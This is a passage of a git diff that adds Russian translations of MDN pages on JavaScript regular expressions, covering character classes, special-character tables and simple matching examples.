+  <tr>
+   <td><code>\w</code></td>
+   <td>
+    <p>Совпадет с любой бувенно-числовым симпволом из базового латинского алфавита включая нижнее подчёркивание.  Эквивалентно <code>[A-Za-z0-9_]</code>. Например, <code>/\w/</code> находит "a" в "apple", "5" в "$5.28", "3" в "3D" и "m" в "Émanuel".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\W</code></td>
+   <td>
+    <p>Совпадет с любой бувенно-числовым, которое не является симпволом базового латинского алфавита, так же исключая нижнее подчёркивание.  Эквивалентно <code>[^A-Za-z0-9_]</code>. Например, <code>/\W/</code> или <code>/[^A-Za-z0-9_]/</code> находит "%" в "50%" и "É" in "Émanuel".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\s</code></td>
+   <td>
+    <p>Совпадет с любым пробельным символом, включая пробел, символ табуляции, символ подачи странцы, символ подачи строки и другие Unicode пробелы. Эквивалентно <code>[ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>. Например, <code>/\s\w*/</code> находит " bar" в "foo bar".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\S</code></td>
+   <td>
+    <p>Совпадет с любым симвовом, не являяющимся проблельным. Эквивалентно <code>[^ \f\n\r\t\v\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]</code>. Например, <code>/\S\w*/</code> находит "foo" в "foo bar".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\t</code></td>
+   <td>Совпадет с символом горизонтальной табуляции.</td>
+  </tr>
+  <tr>
+   <td><code>\r</code></td>
+   <td>Совпадет с символом возврата каретки.</td>
+  </tr>
+  <tr>
+   <td><code>\n</code></td>
+   <td>Совпадет с символом подачи строки.</td>
+  </tr>
+  <tr>
+   <td><code>\v</code></td>
+   <td>Совпадет с символом вертикальной табуляции</td>
+  </tr>
+  <tr>
+   <td><code>\f</code></td>
+   <td>Совпадет с символом подачи страницы (формы).</td>
+  </tr>
+  <tr>
+   <td><code>[\b]</code></td>
+   <td>Совпадет с символом возарат назад (англ. backspace). Если вы ищите символ границы слова (<code>\b</code>), смотри <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Boundaries">Границы</a>.</td>
+  </tr>
+  <tr>
+   <td><code>\0</code></td>
+   <td>Совпадет с символом NUL character. Не используйте другую цифру.</td>
+  </tr>
+  <tr>
+   <td><code>\c<em>X</em></code></td>
+   <td>
+    <p>Совпадет с котрольным символом using <a href="https://ru.wikipedia.org/wiki/%D0%9A%D0%B0%D1%80%D0%B5%D1%82%D0%BD%D0%B0%D1%8F_%D0%BD%D0%BE%D1%82%D0%B0%D1%86%D0%B8%D1%8F">каретную нотацию</a>, где "X" быква A–Z (соответствует кодам <code>U+0001</code><em>–</em><code>U+001F</code>). For example, <code>/\cM/</code> matches "\r" in "\r\n".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>\x<em>hh</em></code></td>
+   <td>Совпадет с символом, код которого <code><em>hh</em></code> (две шестнадцатеричных цифры).</td>
+  </tr>
+  <tr>
+   <td><code>\u<em>hhhh</em></code></td>
+   <td>Совпадет с код-блоком UTF-16 со значением <code><em>hhhh</em></code> (четыре шестнадцатеричных цифры).</td>
+  </tr>
+  <tr>
+   <td><code>\u<em>{hhhh} </em>or <em>\u{hhhhh}</em></code></td>
+   <td>(Только когда установлен фла <code>u</code>.) Совпадет с Unicode символом со значением  <code>U+<em>hhhh</em></code> или <code>U+<em>hhhhh</em></code> (шестнадцатеричные цифры).</td>
+  </tr>
+  <tr>
+   <td><code>\</code></td>
+   <td>
+    <p>Определяет что последующий символ должен быть интерпретирован по особому или должен быть "экранирован. Это работает в двух вариантах:</p>
+
+    <ul>
+     <li>Для символов, которые относятся к литералам, последующий символ - это специальный символ, который не должен быть интерпретирован, как литерал. Например, <code>/b/</code> совпадает с символом "b". Установ обратного слэша перед "b". Таким образом <code>/\b/</code>. Будет означать символ границы слова. </li>
+     <li>Для символов, которые относятся к специальным, определяет что это не специальным символ, а должен быть интерепретирован, как литерал. Например, <code>*</code>  - это специальный символ, который означает 0 или любое другое совпадений предыдующего символа, Например <code>/a*/</code> совпадает с любым количестовм символов "a" идущих подряд (или 0 "a") <code>a, aaaa, aaaaaa</code>. Если специальный символ <code>*</code>, как литерал, то перед ним ставится обратных слэш. Например, <code>/a\*/</code> сопадает только с "a*".</li>
+    </ul>
+
+    <div class="blockIndicator note">
+    <p>Чтобы найти литеральное совпадение с этим символова (<code>\</code> , экранируйте его самим же. Другими словами для поиска <code>\</code> используйте <code>/\\/</code>.</p>
+    </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Плиск_серии_цифр">Плиск серии цифр</h3>
+
+<pre class="brush: js notranslate">var randomData = "015 354 8787 687351 3512 8735";
+var regexpFourDigits = /\b\d{4}\b/g;
+// \b определяет границу поиска (например, не начиает поиск с середины слова)
+// \d{4} определяет цифру, четыре раза
+// определяет другую границу поиска (например, не начиает поиск с середины слова)
+
+// Вывод всех числел имеющих только 4 цифры
+console.table(randomData.match(regexpFourDigits));
+// ['8787', '3512', '8735']
+</pre>
+
+<h3 id="Поиск_слов_латинский_алфавит_начинающих_с_A">Поиск слов  (латинский алфавит), начинающих с A</h3>
+
+<pre class="brush: js notranslate">var aliceExcerpt = "I’m sure I’m not Ada,’ she said, ‘for her hair goes in such long ringlets, and mine doesn’t go in ringlets at all.";
+var regexpWordStartingWithA = /\b[aA]\w+/g;
+// \b определяет границу поиска (например, не начиает поиск с середины слова)
+// [aA] определяет букву a или A
+// \b определяет границу поиска (например, не начиает поиск с середины слова)
+
+console.table(aliceExcerpt.match(regexpWordStartingWithA));
+// ['Ada', 'and', 'at', 'all']
+</pre>
+
+<h3 id="Поиски_слов_из_Unicode_символов">Поиски слов (из Unicode символов)</h3>
+
+<p>Вместо латинского алфавита, мы может использовать диапазаон Unicode символов для определения слова (благодаря этому мы можем работать с текстами написанным, например на русском или арабском языке or Arabic). Unicode содержит большинство символов используемых на планете, мы так же можем объединять их диапазоны и классы символов.</p>
+
+<pre class="brush: js notranslate">var nonEnglishText = "Приключения Алисы в Стране чудес";
+var regexpBMPWord = /([\u0000-\u0019\u0021-\uFFFF])+/gu;
+// BMP goes through U+0000 to U+FFFF but space is U+0020
+
+console.table(nonEnglishText.match(regexpBMPWord));
+[ 'Приключения', 'Алисы', 'в', 'Стране', 'чудес' ]
+</pre>
+
+<div class="hidden">
+<p>Note for MDN editors: please do not try to add funny examples with emoji as those characters are not handled by the platform (Kuma).</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-characterclass', 'RegExp: Character classes')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>Для информации о совместимости с браузерами, посмотрите <a href="/ru/docs/Web/JavaScript/Guide/Regular_Expressions#Browser_compatibility">основную таблицу совместимости Regular Expressions</a>.</p>
+
+<h2 id="Смотрите_по_теме">Смотрите по теме</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/Regular_Expressions">Руководство по Regular expressions</a>
+
+  <ul>
+   <li><a href="/ru/docs/Web/JavaScript/Guide/Regular_Expressions/Assertions">Assertions</a></li>
+   <li><a href="/ru/docs/Web/JavaScript/Guide/Regular_Expressions/Quantifiers">Quantifiers</a></li>
+   <li><a href="/ru/docs/Web/JavaScript/Guide/Regular_Expressions/Unicode_Property_Escapes">Unicode property escapes</a></li>
+   <li><a href="/ru/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges">Groups and ranges</a></li>
+  </ul>
+ </li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/RegExp">Конструктор <code>RegExp()</code></a></li>
+</ul>
diff --git a/files/ru/web/javascript/guide/regular_expressions/index.html b/files/ru/web/javascript/guide/regular_expressions/index.html
new file mode 100644
index 0000000000..834df23a39
--- /dev/null
+++ b/files/ru/web/javascript/guide/regular_expressions/index.html
@@ -0,0 +1,659 @@
+---
+title: Регулярные выражения
+slug: Web/JavaScript/Guide/Regular_Expressions
+translation_of: Web/JavaScript/Guide/Regular_Expressions
+---
+<p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Text_formatting", "Web/JavaScript/Guide/Indexed_collections")}}</p>
+
+<p class="summary">Регулярные выражения - это шаблоны, используемые для сопоставления последовательностей символов в строках. В JavaScript регулярные выражения также являются объектами. Эти шаблоны используются в методах <a href="/en-US/docs/JavaScript/Reference/Global_Objects/RegExp/exec" title="exec"><code>exec</code></a> и <a href="/en-US/docs/JavaScript/Reference/Global_Objects/RegExp/test" title="test"><code>test</code></a> объекта<a href="/en-US/docs/JavaScript/Reference/Global_Objects/RegExp" title="RegExp"> <code>RegExp</code></a>, а также <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/match" title="match"><code>match</code></a>, <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/replace" title="en-US/docs/JavaScript/Reference/Global_Objects/String/replace"><code>replace</code></a>,<a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/search" title="search"> <code>search</code></a> и <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/split" title="split"><code>split</code></a> объекта <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="String"><code>String</code></a>. Данная глава описывает регулярные выражения в JavaScript.</p>
+
+<h2 id="Создание_регулярного_выражения">Создание регулярного выражения</h2>
+
+<p>Регулярное выражение можно создать двумя способами:</p>
+
+<ul>
+ <li>Используя литерал регулярного выражения, например:
+  <div style="margin-right: 270px;">
+  <pre class="brush: js notranslate">var re = /ab+c/;
+</pre>
+  </div>
+
+  <p>Литералы регулярных выражений вызывают предварительную компиляцию регулярного выражения при анализе скрипта. Если ваше регулярное выражение постоянно, то пользуйтесь им, чтобы увеличить производительность.</p>
+ </li>
+ <li>Вызывая функцию конструктор объекта <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/RegExp" title="en-US/docs/JavaScript/Reference/Global Objects/RegExp">RegExp</a></code>, например:
+  <div style="margin-right: 270px;">
+  <pre class="brush: js notranslate">var re = new RegExp("ab+c");
+</pre>
+  </div>
+
+  <p>Использование конструктора влечет за собой компиляцию регулярного выражения во время исполнения скрипта. Используйте данный способ, если знаете, что выражение будет изменяться или не знаете шаблон заранее. Например вы получаете его из стороннего источника, при пользовательском вводе.</p>
+ </li>
+</ul>
+
+<h2 id="Написание_шаблона_регулярного_выражения">Написание шаблона регулярного выражения</h2>
+
+<p>Шаблон регулярного выражения состоит из обычных символов, например <code>/abc/</code>, или комбинаций обычных и специальных символов, например <code>/ab*c/</code> или <code>/Chapter (\d+)\.\d*/</code>. Последний пример включает в себя скобки, которые используются как "запоминающий механизм". Соответствие этой части шаблона запоминается для дальнейшего использования, как описано в {{ web.link("#Использование_скобочных_выражений_для_нахождения_подстрок", "Использование совпадений подстрок заключённых в скобки") }}.</p>
+
+<h3 id="Использование_простых_шаблонов">Использование простых шаблонов</h3>
+
+<p>Простые шаблоны используются для нахождения прямого соответствия в тексте. Например, шаблон <code>/abc/</code> соответствует комбинации символов в строке  только когда символы 'abc' встречаются вместе и в том же порядке. Такое сопоставление произойдет в строке "Hi, do you know your abc's?" и "The latest airplane designs evolved from slabcraft." В обоих случаях сопоставление произойдет с подстрокой 'abc'. Сопоставление не произойдет в строке "Grab crab", потому что она не содержит подстроку 'abc'.</p>
+
+<h3 id="Использование_специальных_символов">Использование специальных символов</h3>
+
+<p>В случае когда поиск соответствия требует чего-то большего, чем прямое сопоставление, например нахождение последовательности символов 'b' или нахождение пробела, шаблон включает в себя специальные символы. Например, шаблон <code>/ab*c/</code> соответствует любой комбинации символов, в которой за 'a' следует ноль или более символов 'b' (<code>*</code> означает ноль или более вхождений предыдущего символа), за которыми сразу же следует символ 'c'. В строке "cbbabbbbcdebc," этому шаблону сопоставляется подстрока 'abbbbc'.</p>
+
+<p>В следующей таблице приводится полный список специальных символов регулярных выражений с их описаниями.</p>
+
+<table class="fullwidth-table">
+ <caption>Таблица 4.1 Специальные символы в регулярных выражения.</caption>
+ <thead>
+  <tr>
+   <th scope="col">Символ</th>
+   <th scope="col">Значение</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="#special-backslash" id="special-backslash" name="special-backslash"><code>\</code></a></td>
+   <td>Одно из следующего:
+    <ul>
+     <li>Для символов обычно обрабатываемых буквально, означает что следующий символ является специальным и не должен интерпретироваться буквально.</li>
+     <li style="list-style-type: none;">Например, <code>/b/ </code>сопоставляется символу 'b'. Добавляя слэш перед b, т.е используя <code>/\b/</code>, символ становится специальным символом, означающим границу слова.</li>
+     <li>Для символов обычно обрабатываемых особым образом означает, что следующий символ не является специальным и должен интерпретироваться буквально.</li>
+     <li style="list-style-type: none;">Например, <code>*</code> является специальным символом, сопоставляемым 0 или более повторений предыдущего символа; например, <code>/a*/</code> означает соответствие 0 или более символов а. Для буквальной интерпретации *, поставьте перед ней обратный слэш; например, <code>/a\*/</code> соответствует 'a*'.</li>
+     <li style="list-style-type: none;">Также не забудьте заэкранировать сам \ при его использовании в записи new RegExp("pattern") поскольку \ также является экранирующим символом в обычных строках.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-caret" id="special-caret" name="special-caret"><code>^</code></a></td>
+   <td>
+    <p>Соответствует началу ввода. Если установлен флаг многострочности, также производит сопоставление непосредственно после переноса строки.</p>
+
+    <p>Например, <code>/^A/</code> не соответствует 'A' в "an A", но соответствует 'A' в "An E".</p>
+
+    <p><br>
+     Этот символ имеет другое значение при появлении в начале шаблона набора символов.</p>
+
+    <p>Например, <code>/[^a-z\s]/</code> соответствует 'I' в "I have 3 sisters".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-dollar" id="special-dollar" name="special-dollar"><code>$</code></a></td>
+   <td>
+    <p>Соответствует концу ввода. Если установлен битовый флаг многострочности, также сопоставляется содержимому до переноса строки.</p>
+
+    <p>Например, <code>/t$/</code> не соответствует 't' в строке "eater", но соответствует строке "eat".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-asterisk" id="special-asterisk" name="special-asterisk"><code>*</code></a></td>
+   <td>
+    <p>Соответствует предыдущему символу повторенному 0 или более раз. Эквивалентно {0,}.</p>
+
+    <p>Например, <code>/bo*/</code> соответствует 'boooo' в "A ghost booooed" и 'b' в "A bird warbled", но не в "A goat grunted".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-plus" id="special-plus" name="special-plus"><code>+</code></a></td>
+   <td>
+    <p>Соответствует предыдущему символу повторенному 1 или более раз. Эквивалентно {1,}.</p>
+
+    <p>Например, <code>/a+/</code> соответствует 'a' в "candy" и всем символам 'a' в "caaaaaaandy".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-questionmark" id="special-questionmark" name="special-questionmark"><code>?</code></a></td>
+   <td>Соответствует предыдущему символу повторенному
+    <p> 0 или 1 раз. Эквивалентно {0,1}.</p>
+
+    <p>Например, <code>/e?le?/</code> соответствует 'el' в "angel" и 'le' в "angle" а также 'l' в "oslo".</p>
+
+    <p>Если использован сразу после квалификаторов <code>*</code>, <code>+</code>, <code>?</code>, или <code>{}</code>, делает квалификатор "нежадным" (соответствующим минимальному количеству символов), в отличие от режима по умолчанию, являющимся "жадным" (соответствующим максимальному числу символов). Например, используя /\d+/ не глобальное сопоставление "123abc" возвращает "123", если использовать /\d+?/, только "1" будет возвращена.</p>
+
+    <p>Также используется в упреждающих утверждениях (assertions), описанных в строках x(?=y) и x(?!y) данной таблицы.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-dot" id="special-dot" name="special-dot"><code>.</code></a></td>
+   <td>
+    <p>(десятичная точка) соответствует любому символу кроме переноса строки.</p>
+
+    <p>Например, <code>/.n/</code> соответствует 'an' и 'on' в "nay, an apple is on the tree", но не 'nay'.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-capturing-parentheses" id="special-capturing-parentheses" name="special-capturing-parentheses"><code>(x)</code></a></td>
+   <td>
+    <p>Соответствует 'x' и запоминает это соответствие. Это называется захватывающие скобки.</p>
+
+    <p>Например, <code>/(foo)/</code> соответствует 'foo' в "foo bar." Сопоставленная строка может быть получена из элементов результирующего массива <code>[1]</code>, ..., <code>[n]</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-capturing-parentheses" id="special-non-capturing-parentheses" name="special-non-capturing-parentheses"><code>(?:x)</code></a></td>
+   <td>Соответствует 'x' но не запоминает соответствие. Это называется не-захватывающие скобки. Сопоставленная строка не может быть получена из элементов результирующего массива <code style="font-size: 14px; color: rgb(51, 51, 51);">[1]</code>, ..., <code style="font-size: 14px; color: rgb(51, 51, 51);">[n]</code>.</td>
+  </tr>
+  <tr>
+   <td><a href="#special-lookahead" id="special-lookahead" name="special-lookahead"><code>x(?=y)</code></a></td>
+   <td>
+    <p>Соответствует 'x' только если за 'x' следует 'y'. Это называется упреждение.</p>
+
+    <p>Например, <code>/Jack(?=Sprat)/</code> соответствует 'Jack' только если за ним следует 'Sprat'. <code>/Jack(?=Sprat|Frost)/</code> соответствует 'Jack' только если за ним следует 'Sprat' или 'Frost'. Тем не менее, ни 'Sprat' ни 'Frost' не являются частью сопоставленного результата.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-negated-look-ahead" id="special-negated-look-ahead" name="special-negated-look-ahead"><code>x(?!y)</code></a></td>
+   <td>
+    <p>Соответствует 'x' только если за 'x' не следует 'y'. Это называется отрицательное упреждение.</p>
+
+    <p>Например, <code>/\d+(?!\.)/</code> соответствует числу только если за ним не следует десятичная точка. Регулярное выражение <code>/\d+(?!\.)/.exec("3.141")</code> сопоставит '141' но не '3.141'.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-or" id="special-or" name="special-or"><code>x|y</code></a></td>
+   <td>
+    <p>Соответствует либо 'x' либо 'y'.</p>
+
+    <p>Например, <code>/green|red/</code> соответствует 'green' в "green apple" и 'red' в "red apple."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-quantifier" id="special-quantifier" name="special-quantifier"><code>{n}</code></a></td>
+   <td>
+    <p>n - положительное целое. Соответствует ровно <code>n</code> вхождениям предыдущего символа.</p>
+
+    <p>Например, <code>/a{2}/</code> не соответствует 'a' в "candy," но соответствует всем а в "caandy," первым двум а в "caaandy."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-quantifier-range" id="special-quantifier-range" name="special-quantifier-range"><code>{n,m}</code></a></td>
+   <td>
+    <p>m и n - положительные целые. Соответствует как минимум <code>n</code> и максимум <code>m</code> вхождениям предыдущего символа. При m=n=1 пропускается.</p>
+
+    <p>Например, <code>/a{1,3}/</code> ничему не соответствует в строке "cndy", символу 'a' в "candy," двум а в "caandy," и трем первым а в "caaaaaaandy". Отметим, что при сопоставлении "caaaaaaandy", совпадает "aaa", хотя изначальная строка содержит больше а.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-character-set" id="special-character-set" name="special-character-set"><code>[xyz]</code></a></td>
+   <td>
+    <p>Набор символов. Соответствует любому символу из перечисленных. Можно указать диапазон символов, используя тире. Специальные символы (как точка (<code>.</code>) и звездочка (<code>*</code>)) не имеют специального значения внутри такого набора. Их не надо экранировать. Экранирование работает также.</p>
+
+    <p>Например, <code>[abcd]</code> эквивалентна <span style="font-family: monospace;">[</span><code>a-d]</code>. Они соответствуют 'b' в "brisket" и 'c' в "city". <code>/[a-z.]+/</code> и <code>/[\w.]+/</code> обе соответствуют всему в "test.i.ng".</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-negated-character-set" id="special-negated-character-set" name="special-negated-character-set"><code>[^xyz]</code></a></td>
+   <td>
+    <p>Инвертированный или дополняющий набор символов. Это означает соответствие всему, что не в скобках. Можно указать диапазон символов с помощью тире. Все, что действует в обычном наборе символов, действует и здесь.</p>
+
+    <p>Например, <code>[^abc]</code> эквивалентно <code>[^a-c]</code>. Они соответствуют изначально 'r' в "brisket" и 'h' в "chop."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-backspace" id="special-backspace" name="special-backspace"><code>[\b]</code></a></td>
+   <td>Соответствует бэкспейсу (U+0008). (Не путать с <code>\b</code>.)</td>
+  </tr>
+  <tr>
+   <td><a href="#special-word-boundary" id="special-word-boundary" name="special-word-boundary"><code>\b</code></a></td>
+   <td>
+    <p>Соответствует границе слова. Граница слова соответствует позиции, где за символом слова не следует другой символ слова или предшествует ему. Отметим, что граница слова не включается в соответствие. Другими словами, длина сопоставленной границы слова равна нулю. (Не путать с <code>[\b]</code>.)</p>
+
+    <p>Примеры:<br>
+     <code>/\bmoo/</code> соответствует 'moo' в слове "moon" ;<br>
+     <code>/oo\b/</code> не соответствует 'oo' в слове "moon", поскольку за 'oo' следует символ 'n' , являющимся символом слова;<br>
+     <code>/oon\b/</code> соответствует 'oon' в слове "moon", поскольку 'oon' является окончанием строки, и таким образом, за этими символами не следует другой символ слова;<br>
+     <code>/\w\b\w/</code> никогда не будет ничему соответствовать, поскольку за символом слова никогда не может следовать и граница слова, и символ слова.</p>
+
+    <div class="note">
+    <p><strong>Note:</strong> JavaScript's regular expression engine defines a <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-15.10.2.6">specific set of characters</a>to be "word" characters. Any character not in that set is considered a word break. This set of characters is fairly limited: it consists solely of the Roman alphabet in both upper- and lower-case, decimal digits, and the underscore character. Accented characters, such as "é" or "ü" are, unfortunately, treated as word breaks.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-word-boundary" id="special-non-word-boundary" name="special-non-word-boundary"><code>\B</code></a></td>
+   <td>
+    <p>Соответствует несловообразующей границе. Несловообразующая граница соответствует позиции, в которой предыдущий и следующий символы являются символами одного типа: либо оба должны быть словообразующими символами, либо несловообразующими. Начало и конец строки считаются несловообразующими символами. </p>
+
+    <p>Например, <code>/\B../</code> соответствует 'oo' в слове "noonday" (, а <code>/y\B./</code> соответствует 'ye' в "possibly yesterday."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-control" id="special-control" name="special-control"><code>\c<em>X</em></code></a></td>
+   <td>
+    <p>Где <em>X</em> является символом случайного выбора из последовательности от А до Я. Соответствует управляющему символу в строке.</p>
+
+    <p>Например, <code>/\cM/</code> соответствует control-M (U+000D) в строке.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-digit" id="special-digit" name="special-digit"><code>\d</code></a></td>
+   <td>
+    <p>Соответствует цифровому символу. Эквивалентно выражению <code>[0-9]</code>.</p>
+
+    <p>Например, <code>/\d/</code> or <code>/[0-9]/</code> соотвествует  '2' в "B2 is the suite number."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-digit" id="special-non-digit" name="special-non-digit"><code>\D</code></a></td>
+   <td>
+    <p>Соответствует любому нецифровому символу. Эквивалентно выражению <code>[^0-9]</code>.</p>
+
+    <p>Например, <code>/\D/</code> or <code>/[^0-9]/</code> соответствует 'B' в предложении "B2 is the suite number."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-form-feed" id="special-form-feed" name="special-form-feed"><code>\f</code></a></td>
+   <td>
+    <p>Соответствует символу прогона страницы (U+000C). Особый символ управления печатью.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-line-feed" id="special-line-feed" name="special-line-feed"><code>\n</code></a></td>
+   <td>Соответствует символу перевода строки (U+000A).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-carriage-return" id="special-carriage-return" name="special-carriage-return"><code>\r</code></a></td>
+   <td>Соответствует символу возврата каретки (U+000D).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-white-space" id="special-white-space" name="special-white-space"><code>\s</code></a></td>
+   <td>
+    <p>Соответствует одиночному символу пустого пространства, включая пробел, табуляция, прогон страницы, перевод строки. Эквивалентен <code>[ \f\n\r\t\v​\u00A0\u1680​\u180e\u2000​\u2001\u2002​\u2003\u2004​\u2005\u2006​\u2007\u2008​\u2009\u200a​\u2028\u2029​\u2028\u2029​\u202f\u205f​\u3000]</code>.</p>
+
+    <p>Например, <code>/\s\w*/</code> совпадает с ' bar' в "foo bar."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-white-space" id="special-non-white-space" name="special-non-white-space"><code>\S</code></a></td>
+   <td>
+    <p>Соответствует одиночному символу непустого пространства. Эквивалентен<code> [^ \f\n\r\t\v​\u00A0\u1680​\u180e\u2000-\u200a​​\u2028\u2029​\u202f\u205f​\u3000]</code>.</p>
+
+    <p>Например, <code>/\S\w*/</code> совпадает с 'foo' в "foo bar."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-tab" id="special-tab" name="special-tab"><code>\t</code></a></td>
+   <td>Соответствует символу горизонтальной табуляции (U+0009).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-vertical-tab" id="special-vertical-tab" name="special-vertical-tab"><code>\v</code></a></td>
+   <td>Соответствует символу вертикальной табуляции (U+000B).</td>
+  </tr>
+  <tr>
+   <td><a href="#special-word" id="special-word" name="special-word"><code>\w</code></a></td>
+   <td>
+    <p>Соответствует любому цифробуквенному символу включая нижнее подчеркивание. Эквивалентен <code>[A-Za-z0-9_]</code>.</p>
+
+    <p>Например, <code>/\w/</code> совпадает с 'a' в "apple," '5' в "$5.28," и '3' в "3D."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-non-word" id="special-non-word" name="special-non-word"><code>\W</code></a></td>
+   <td>
+    <p>Соответствует любому не цифробуквенному символу. Равносилен<code> [^A-Za-z0-9_]</code>.</p>
+
+    <p>Например, <code>/\W/</code> or <code>/[^A-Za-z0-9_]/</code> совпадает с '%' в "50%."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-backreference" id="special-backreference" name="special-backreference"><code>\<em>n</em></code></a></td>
+   <td>
+    <p>Где <em>n</em> это положительное целое, обратная ссылка на последнюю найденную подстроку, соответствующую <em>n</em> , заключенную в круглые скобки в регуляном выражении (считая левые скобки).</p>
+
+    <p>Например, <code>/apple(,)\sorange\1/</code> соответствует 'apple, orange,' в "apple, orange, cherry, peach."</p>
+   </td>
+  </tr>
+  <tr>
+   <td><a href="#special-null" id="special-null" name="special-null"><code>\0</code></a></td>
+   <td>Соответствует символу NULL (U+0000). Не следует ставить за ним другой цифровой символ, поскольку <code>\0&lt;digits&gt;</code> является восьмеричной экранирующей последовательностью.</td>
+  </tr>
+  <tr>
+   <td><a href="#special-hex-escape" id="special-hex-escape" name="special-hex-escape"><code>\xhh</code></a></td>
+   <td>Соответствует символам кода hh (две шестнадцатиричные цифры)</td>
+  </tr>
+  <tr>
+   <td><a href="#special-unicode-escape" id="special-unicode-escape" name="special-unicode-escape"><code>\uhhhh</code></a></td>
+   <td>Соответствует символам кода hhhh (четыре шестнадцатиричные цифры).</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Экранирование пользовательского ввода, соответствующего буквенной строке внутри регулярного выражения, может быть достигнуто простой заменой: </p>
+
+<pre class="brush: js notranslate"><code>function escapeRegExp(string){
+  return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&amp;'); // $&amp; means the whole matched string
+}</code></pre>
+
+<h3 id="Использование_скобок">Использование скобок</h3>
+
+<p>Скобки вокруг любой части регулярного выражения означают что эта часть совпадаемой подстроки будет запомнена. Раз запомнена, подстрока может выбрана для использования как это описано в {{ web.link("#Using_Parenthesized_Substring_Matches", "Using Parenthesized Substring Matches") }}.</p>
+
+<p>Например, паттерн <code>/Chapter (\d+)\.\d*/</code> включает в себя дополнительные экранирующие и специальные символы и указывает на то, что часть шаблона должна быть запомнена. Он точно соответствует символам слова 'Chapter ', за которыми следует один или более цифровых символов (<code>\d</code> означает любой цифровой символ, а '<code>+'</code> означает 1 или более раз), за которым следует десятичная точка (сама по себе являющаяся специальным символом; предшествующий десятичной точке слэш ' \' означает, что паттерн должен искать литеральный символ '.'), после которой следует любой цифровой символ 0 или более раз ('<code>\d'</code> обозначает цифровой символ, '<code>*'</code> обозначает 0 или более раз). Кроме того, круглые скобки используются для запоминания первых же совпавших цифровых символов. </p>
+
+<p>Этот шаблон будет найден во фразе "Open Chapter 4.3, paragraph 6" и цифра '4' будет запомнена. Но он не будет найден во фразе "Chapter 3 and 4", поскольку эта строка не имеет точки после цифры '3'.</p>
+
+<p>Для того, чтобы сопоставить подстроку без вызова совпавшей части для запоминания, внутри круглых скобок необходимо предварить паттерн сочетанием символов ' <code>?:'</code>. Например, шаблон <code>(?:\d+)</code> будет соответствовать одному или более цифровому символу, но не запомнит совпавших символов. </p>
+
+<h2 id="Работа_с_Регулярными_Выражениями">Работа с Регулярными Выражениями</h2>
+
+<p>Регулярные выражения используются в методах <code>test</code> и <code>exec</code> объекта <code>RegExp</code> и с методами <code>match</code>, <code>replace</code>, <code>search</code>, и <code>split </code>объекта <code>String</code>. Эти методы подробно объясняются в <a href="/en-US/docs/JavaScript/Reference" title="en-US/docs/JavaScript/Reference">Справочнике JavaScript</a>.</p>
+
+<table class="standard-table">
+ <caption>Table 4.2 Методы пользующиеся регулярными выражениями</caption>
+ <thead>
+  <tr>
+   <th scope="col">Метод</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
